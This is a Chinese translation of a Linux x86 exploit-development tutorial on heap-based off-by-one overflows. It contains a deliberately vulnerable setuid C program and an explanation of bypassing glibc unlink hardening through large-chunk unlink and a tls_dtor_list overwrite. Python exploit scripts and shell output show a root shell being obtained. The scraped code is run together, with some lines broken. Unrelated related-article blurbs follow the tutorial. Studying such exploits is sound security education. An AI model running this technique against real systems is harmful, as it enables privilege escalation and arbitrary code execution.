Linux (x86) Exploit 开发系列教程之十一 Off-By-One 漏洞(基于堆)
Off-By-One 漏洞(基于堆)
译者:飞龙
原文:Off-By-One Vulnerability (Heap Based)
预备条件:
- Off-By-One 漏洞(基于栈)
- 理解 glibc malloc
VM 配置:Fedora 20(x86)
什么是 Off-By-One 漏洞?
在这篇文章中提到过,将源字符串复制到目标缓冲区可能造成 Off-By-One 漏洞,当源字符串的长度等于目标缓冲区长度的时候。
当源字符串的长度等于目标缓冲区长度的时候,单个 NULL 字符会复制到目标缓冲区的上方。因此由于目标缓冲区位于堆上,单个 NULL 字节会覆盖下一个块的块头部,并且这会导致任意代码执行。
回顾:在这篇文章中提到,在每个用户请求堆内存时,堆段被划分为多个块。每个块有自己的块头部(由malloc_chunk
表示)。malloc_chunk
结构包含下面四个元素:
prev_size
– 如果前一个块空闲,这个字段包含前一个块的大小。否则前一个块是分配的,这个字段包含前一个块的用户数据。size
:这个字符包含分配块的大小。字段的最后三位包含标志信息。PREV_INUSE (P)
如果前一个块已分配,会设置这个位。IS_MMAPPED (M)
当块是 mmap 块时,会设置这个位。NON_MAIN_ARENA (N)
当这个块属于线程 arena 时,会设置这个位。
fd
指向相同 bin 的下一个块。bk
指向相同 bin 的上一个块。
漏洞代码:
//consolidate_forward.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>#define SIZE 16int main(int argc, char* argv[])
{int fd = open("./inp_file", O_RDONLY); /* [1] */if(fd == -1) {printf("File open error\n");fflush(stdout);exit(-1);}if(strlen(argv[1])>1020) { /* [2] */printf("Buffer Overflow Attempt. Exiting...\n");exit(-2);}char* tmp = malloc(20-4); /* [3] */char* p = malloc(1024-4); /* [4] */char* p2 = malloc(1024-4); /* [5] */char* p3 = malloc(1024-4); /* [6] */read(fd,tmp,SIZE); /* [7] */strcpy(p2,argv[1]); /* [8] */free(p); /* [9] */
}
编译命令:
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -o consolidate_forward consolidate_forward.c
$sudo chown root consolidate_forward
$sudo chgrp root consolidate_forward
$sudo chmod +s consolidate_forward
注意:
出于我们的演示目的,关闭了 ASLR。如果你也想要绕过 ASLR,使用信息泄露 bug,或者爆破机制,在这篇文章中描述。
上述漏洞代码的行[2]
和[8]
是基于堆的 off-by-one 溢出发生的地方。目标缓冲区的长度是 1020,因此长度为 1020 的源字符串可能导致任意代码执行。
任意代码执行如何实现?
任意代码执行,当单个 NULL 字节覆盖下一个块(p3
)的块头部时实现。当大小为 1020 字节(p2
)的块由单个字节溢出时,下一个块(p3
)的头部中的size
的最低字节会被 NULL 字节覆盖,并不是prev_size
的最低字节。
为什么
size
的 LSB 会被覆盖,而不是prev_size
?
checked_request2size
将用户请求的大小转换为可用大小(内部表示的大小),因为需要一些额外空间来储存malloc_chunk
,并且也出于对齐目的。转换实现的方式是,可用大小的三个最低位始终不会为零(也就是 8 的倍数,译者注),所以可以用于放置标志信息 P、M 和 N。
因此当我们的漏洞代码执行malloc(1020)
时,用户请求大小 1020 字节会转换为((1020 + 4 + 7) & ~7)
字节(内部表示大小)。1020 字节的分配块的富余量仅仅是 4 个字节。但是对于任何分配块,我们需要 8 字节的块头部,以便储存prev_size
和size
信息。因此 1024 字节的前八字节会用于块头部,但是现在我们只剩下 1016(1024 - 8)字节用于用户数据,而不是 1020 字节。但是像上面prev_size
定义中所述,如果上一个块(p2
)已分配,块(p3
)的prev_size
字段包含用户数据。因此块p3
的prev_size
位于这个 1024 字节的分配块p2
后面,并包含剩余 4 字节的用户数据。这就是size
的 LSB 被单个 NULL 字节覆盖,而不是prev_size
的原因。
堆布局
注意:上述图片中的攻击者数据会在下面的“覆盖tls_dtor_list
”一节中解释。
现在回到我们原始的问题。
任意代码执行如何实现?
现在我们知道了,在 off-by-one 漏洞中,单个 NULL 字节会覆盖下一个块(p3
)size
字段的 LSB。这单个 NULL 字节的溢出意味着这个块(p3
)的标志信息被清空,也就是被溢出块(p2
)变成空闲块,虽然它处于分配状态。当被溢出块(p2
)的标志 P 被清空,这个不一致的状态让 glibc 代码 unlink 这个块(p2
),它已经在分配状态。
在这篇文章中我们看到,unlink 一个已经处于分配状态的块,会导致任意代码执行,因为任何四个字节的内存区域都能被攻击者的数据覆盖。但是在同一篇文章中,我们也看到,unlink 技巧已经废弃,因为 glibc 近几年来变得更加可靠。具体来说,因为“双向链表损坏”的条件,任意代码执行时不可能的。
但是在 2014 年末,Google 的 Project Zero 小组找到了一种方式,来成功绕过“双向链表损坏”的条件,通过 unlink large 块。
unlink:
#define unlink(P, BK, FD) { FD = P->fd; BK = P->bk;// Primary circular double linked list hardening - Run time checkif (__builtin_expect (FD->bk != P || BK->fd != P, 0)) /* [1] */malloc_printerr (check_action, "corrupted double-linked list", P); else { // If we have bypassed primary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!FD->bk = BK; /* [2] */BK->fd = FD; /* [3] */if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) { // Secondary circular double linked list hardening - Debug assertassert (P->fd_nextsize->bk_nextsize == P); /* [4] */assert (P->bk_nextsize->fd_nextsize == P); /* [5] */if (FD->fd_nextsize == NULL) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { // If we have bypassed secondary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!P->fd_nextsize->bk_nextsize = P->bk_nextsize; /* [6] */P->bk_nextsize->fd_nextsize = P->fd_nextsize; /* [7] */} } }
}
在 glibc malloc 中,主要的环形双向链表由malloc_chunk
的fd
和bk
字段维护,而次要的环形双向链表由malloc_chunk
的fd_nextsize
和bk_nextsize
字段维护。双向链表的加固看起来用在主要(行[1]
)和次要(行[4]
和[5]
)的双向链表上,但是次要的环形双向链表的加固,只是个调试断言语句(不像主要双向链表加固那样,是运行时检查),它在生产构建中没有被编译(至少在 fedora x86 中)。因此,次要的环形双向链表的加固(行[4]
和[5]
)并不重要,这让我们能够向任意 4 个字节的内存区域写入任何数据(行[6]
和[7]
)。
然而还有一些东西应该解释,所以让我们更详细地看看,unlink large 块如何导致任意代码执行。由于攻击者已经控制了 – 要被释放的 large 块,它覆盖了malloc_chunk
元素,像这样:
fd
应该指向被释放的块,来绕过主要环形双向链表的加固。bk
也应该指向被释放的块,来绕过主要环形双向链表的加固。fd_nextsize
应该指向free_got_addr – 0x14
。bk_nextsize
应该指向system_addr
。
但是根据行[6]
和[7]
,需要让fd_nextsize
和bk_nextsize
都是可写的。fd_nextsize
是可写的,(因为它指向了free_got_addr – 0x14
),但是bk_nextsize
不是可写的,因为他指向了system_addr
,它属于libc.so
的文本段。让fd_nextsize
和bk_nextsize
都可写的问题,可以通过覆盖tls_dtor_list
来解决。
覆盖tls_dtor_list
:
tls_dtor_list
是个线程局部的变量,它包含函数指针的列表,它们在exit
过程中调用。__call_tls_dtors
遍历tls_dtor_list
并依次调用函数。因此如果我们可以将tls_dtor_list
覆盖为堆地址,它包含system
和system_arg
,来替代dtor_list
的func
和obj
,我们就能调用system
。
所以现在攻击者需要覆盖要被释放的 large 块的malloc_chunk
元素,像这样:
fd
应该指向被释放的块,来绕过主要环形双向链表的加固。bk
也应该指向被释放的块,来绕过主要环形双向链表的加固。fd_nextsize
应该指向tls_dtor_list - 0x14
。bk_nextsize
应该指向含有dtor_list
元素的堆地址。
fd_nextsize
可写的问题解决了,因为tls_dtor_list
属于libc.so
的可写区段,并且通过反汇编_call_tls_dtors()
,tls_dtor_list
的地址为0xb7fe86d4
。
bk_nextsize
可写的问题也解决了,因为它指向堆地址。
使用所有这些信息,让我们编写利用程序来攻击漏洞二进制的“前向合并”。
利用代码:
#exp_try.py
#!/usr/bin/env python
import struct
from subprocess import callfd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b430
system = 0x4e0a86e0
sh = 0x80482ce#endianess convertion
def conv(num):return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996print "Calling vulnerable program"
call(["./consolidate_forward", buf])
执行上述利用代码不会向我们提供 root shell。它向我们提供了一个运行在我们的权限级别的 bash shell。嗯…
$ python -c 'print "A"*16' > inp_file
$ python exp_try.py
Calling vulnerable program
sh-4.2$ id
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2$ exit
exit
$
为什么不能获得 root shell?
当uid != euid
时,/bin/bash
会丢弃权限。我们的二进制“前向合并”的真实 uid 是 1000,但是它的有效 uid 是 0。因此当system
调用时,bash 会丢弃权限,因为真实 uid 不等于有效 uid。为了解决这个问题,我们需要在system
之前调用setuid(0)
,因为_call_tls_dtors()
依次遍历tls_dtor_list
,我们需要将setuid
和system
链接,以便获得 root shell。
完整的利用代码:
#gen_file.py
#!/usr/bin/env python
import struct#dtor_list
setuid = 0x4e123e30
setuid_arg = 0x0
mp = 0x804b020
nxt = 0x804b430#endianess convertion
def conv(num):return struct.pack("<I",num(setuid)
tst += conv(setuid_arg)
tst += conv(mp)
tst += conv(nxt)print tst
-----------------------------------------------------------------------------------------------------------------------------------
#exp.py
#!/usr/bin/env python
import struct
from subprocess import callfd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b008
system = 0x4e0a86e0
sh = 0x80482ce#endianess convertion
def conv(num):return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996print "Calling vulnerable program"
call(["./consolidate_forward", buf])
执行上述利用代码会给我们 root shell。
$ python gen_file.py > inp_file
$ python exp.py
Calling vulnerable program
sh-4.2# id
uid=0(root) gid=1000(sploitfun) groups=0(root),10(wheel),1000(sploitfun) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# exit
exit
$
我们的 off-by-one 漏洞代码会向前合并块,也可以向后合并。这种向后合并 off-by-one 漏洞代码也可以利用。
相关文章:
利用链式存储结构实现线性表
本图文主要介绍了如何利用链式存储结构实现线性表。

自己用的快捷键
win7中 1. Ctrl Shift N —— 创建一个新的文件夹你需要在文件夹窗口中按 Ctrl Shift N 才行,在 Chrome 中是打开隐身窗口的快捷键。2.Win 上/下/左/右 —— 移动当前激活窗口其中,Win 左/右 为移动窗口到屏幕两边,占半屏,Wi…

3月到9月之9月到12月
看看自己这个博客,偶然发现上次的到现在又是半年过去了,这中间发生的太多,可能我天生不爱写东西,呵半年留一次脚印,真不知道我的博客对于博客园来讲算不算资源浪费!常看别人的,但自己没写过&…

Java动态代理机制
在Java的动态代理机制中,有两个重要的类。一个是InvocationHandler,另一个是Proxy。InvocationHandler:每一个动态代理类都必须要实现InvocationHandler接口,并且每个代理类的实例都关联到了一个handler,当我们通过代理…
Matlab与线性代数 -- 魔方矩阵
本图文主要介绍了如何利用Matlab实现魔方矩阵。

springMVC 返回类型选择 以及 SpringMVC中model,modelMap.request,session取值顺序
spring mvc处理方法支持如下的返回方式:ModelAndView, Model, ModelMap, Map,View, String, void。下面将对具体的一一进行说明: ModelAndView Java代码 RequestMapping("/show1") public ModelAndView show1(HttpServletRequest request, …

[文摘20070930]人际关系,你有五十五招
第1招 认清人生的意义以及毕生所全力以赴的目标 为什么要这么拼命?因为你必须对得起自己的良知。 想要成为一个人际关系高手,第一步就必须先确认你的价值观;若是你连这个都摸不清楚,就很难去看透人生的意义,更不用说…

数据库抽取,生成CSV文件导出,CSVUtils工具类
2019独角兽企业重金招聘Python工程师标准>>> 开发背景: 最近一直在忙一个任务调度系统,需求一直没定下来,需求一直变更,调度一直改,往往复复。。。 等这波忙完了可以写一下关于BI这边调度任务的相关问题&am…
Matlab与线性代数 -- Pascal矩阵
本文主要介绍利用Matlab实现pascal矩阵的相关知识。
java加密算法
java加密算法 本篇内容简要介绍BASE64、MD5、SHA、HMAC几种加密算法。 BASE64编码算法不算是真正的加密算法。 MD5、SHA、HMAC这三种加密算法,可谓是非可逆加密,就是不可解密的加密方法,我们称之为单向加密算法。我们通常只把他们作为加密的基…

在多台FMS服务器之间共享流
FMS有一个非常重要的功能,那就是可以在多台服务器之间共享流. 利用这一功能,我们可以把源服务器上的流分发到其它的服务器,这些获得流的服务器同样可以作为新的源服务器使用.这个功能有点象FMS集群. 我们都知道,利用WMP插件可以获取网上的流媒体地址制作网络电视台,其实利用Fla…

linux实现nat转发和内部端口映射
路由机 eth0:114.114.114.114(公网ip) eth1:192.168.1.1(内网ip) pc1 eth0:192.168.1.2(内网ip) eth1(拨号ip) pc2 eth0:192.168.1.3(内网ip) eth1(拨号ip) 1.配置路由机网卡信息 vim /etc/sysconfig/network-scripts/ifcfg-eth1 TYPEEthernet BOOTPROTOstati…
15级团队学习成果汇报 -- 利用C#语言实现展览厅
本图文主要是15级团队学习成果的汇报“ 利用C#语言实现展览厅”。

我所理解的Spring AOP的基本概念
Spring AOP中的概念晦涩难懂,读官方文档更是像读天书,看了很多例子后,写一些自己理解的一些spring的概念。要理解面向切面编程,要首先理解代理模式和动态代理模式。 假设一个OA系统中的一个功能是查看考勤信息,那么我…

你需要的大概不是 enumerated
作者:KHANLOU,原文链接,原文日期:2017-03-28译者:四娘;校对:Cwift;定稿:CMBSwift 标准库里最容易被滥用的就是 Sequence 的 enumerated() 函数。这个函数会返回一个新的序…
Matlab与线性代数 -- 正态分布的随机矩阵
本图文介绍了如何利用Matlab实现正态分布的随机矩阵。

修改maven本地仓库的位置及疑惑
maven的默认仓库在~/.m2/repository下,这个是在c盘下,很多系统程序都在c盘,而且c盘的空间有时候不够大,所以经常要修改本地repository的位置,我做的修改如下: 在D盘建立一个repository:D:\mave…

值得FS去的英雄副本
1) 奥金尼地穴腰带 18耐23智19精 22法爆28法伤2) 塞泰克大厅法杖 40耐42智 37法爆168法伤3) 暗影迷宫腰带 31耐27智 17法爆34法伤4) 奴隶围栏饰品 37法伤一定几率使施法加速320,持续6秒5) 盘牙洞穴魔杖 10智 11法爆20法伤转载于:https://www.cnblogs.com/Evanescence/archive/2…
利用C#语言实现小闹钟
本图文主要是15级团队学习成果的汇报“ 利用C#语言实现小闹钟”。
Windows和linux双系统——改动默认启动顺序
电脑上装了Windows 7和Ubantu双系统,因为Linux系统用的次数比較少而且还是默认的启动项对此非常不能容忍,因此得改动Windows为默认的启动项。 因为电脑上的系统引导程序是GRUB,因此改动当然也就落到Linux系统上啦。改动/boot/grub/grub.cfg该…

ThreadLocal的使用方法
ThreadLocal的含义是Thread Local Variable,它可以声明一个字段,使得不同的线程访问这个字段时,获取的都是不同的副本,互不影响。 ThreadLocal的作用和在每个Thread类声明一个字段相同,那么什么时候使用它呢࿱…

如何实现对象交互
在本篇随笔中,我们学习下什么是对象选择,投影和反投影是如何工作的,怎样使用Three.js构建可使用鼠标和对象交互的应用。例如当鼠标移到对象,对象变成红色,鼠标移走,对象又恢复原来的颜色。 本篇随笔的源代码…
Matlab与线性代数 -- 矩阵的大小
本图文介绍了如何利用Matlab求矩阵的大小。

最近做了一个小小的系统,收获挺大的....我想总结一下
首先我要感谢老许,是他给了我这次机会.以后我会把我的经验一点一点总结出来....为那些在编程之路上的迷茫者找到方向活着让人兴奋...总觉的应该去做点什么做工程开发吧----我的老师阿温说过一句话让我记忆尤新:"坚持成就传奇".我想用他去勉力每一个在人生路上奋斗的人…

Hibernate和iBATIS 优缺点比较
选择Hibernate还是iBATIS都有它的道理:Hibernate的特点:Hibernate功能强大,数据库无关性好,O/R映射能力强,如果你对Hibernate相当精通,而且对Hibernate进行了适当的封装,那么你的项目整个持久层…
Matlab与线性代数 -- 矩阵的秩
本图文详细介绍了利用Matlab求矩阵秩的方法。

iOS开发 最近开发了蓝牙模块,在此记录总结一下
为什么80%的码农都做不了架构师?>>> 1.基本概念 <1>中心者模式:常用的(其实99.99%)就是使用中心者模式作为开发,就是我们手机作为主机,连接蓝牙外设。由于开发只用到了中心者模式&#x…

asp.net实现在网页上自动显示超链接以及Email地址
人们总喜欢在帖子中加上各种有用的URL链接或Email地址。而笔者当初设计时没有考虑到这一点,使得这些URL链接或Email地址只能以文字的形式而并不是以超链接的形式显示,其它浏览帖子的人还必须把这些URL链接拷贝到浏览器中或把Email地址拷贝到Outlook中才能…

用开放地址法中的线性探查法解决冲突实现哈希表的运算
为了更深的理解哈希算法,自己写了用开放地址法中的线性探查法解决冲突实现哈希表的运算。 /*** Created by lirui on 14-8-13.* 用开放地址法中的线性探查法解决冲突实现哈希表的运算。*/ public class MyHashSearch {public static final int SIZE 10;public sta…

Re: 求助:5道算法题
http://www.newsmth.net/frames.html发信人: cutepig (cutepig), 信区: Algorithm标 题: 求助:5道算法题发信站: 水木社区 (Sat Nov 10 18:25:06 2007), 站内1)given a integer, output its previous and next neighbor number which has the same number of bit 1…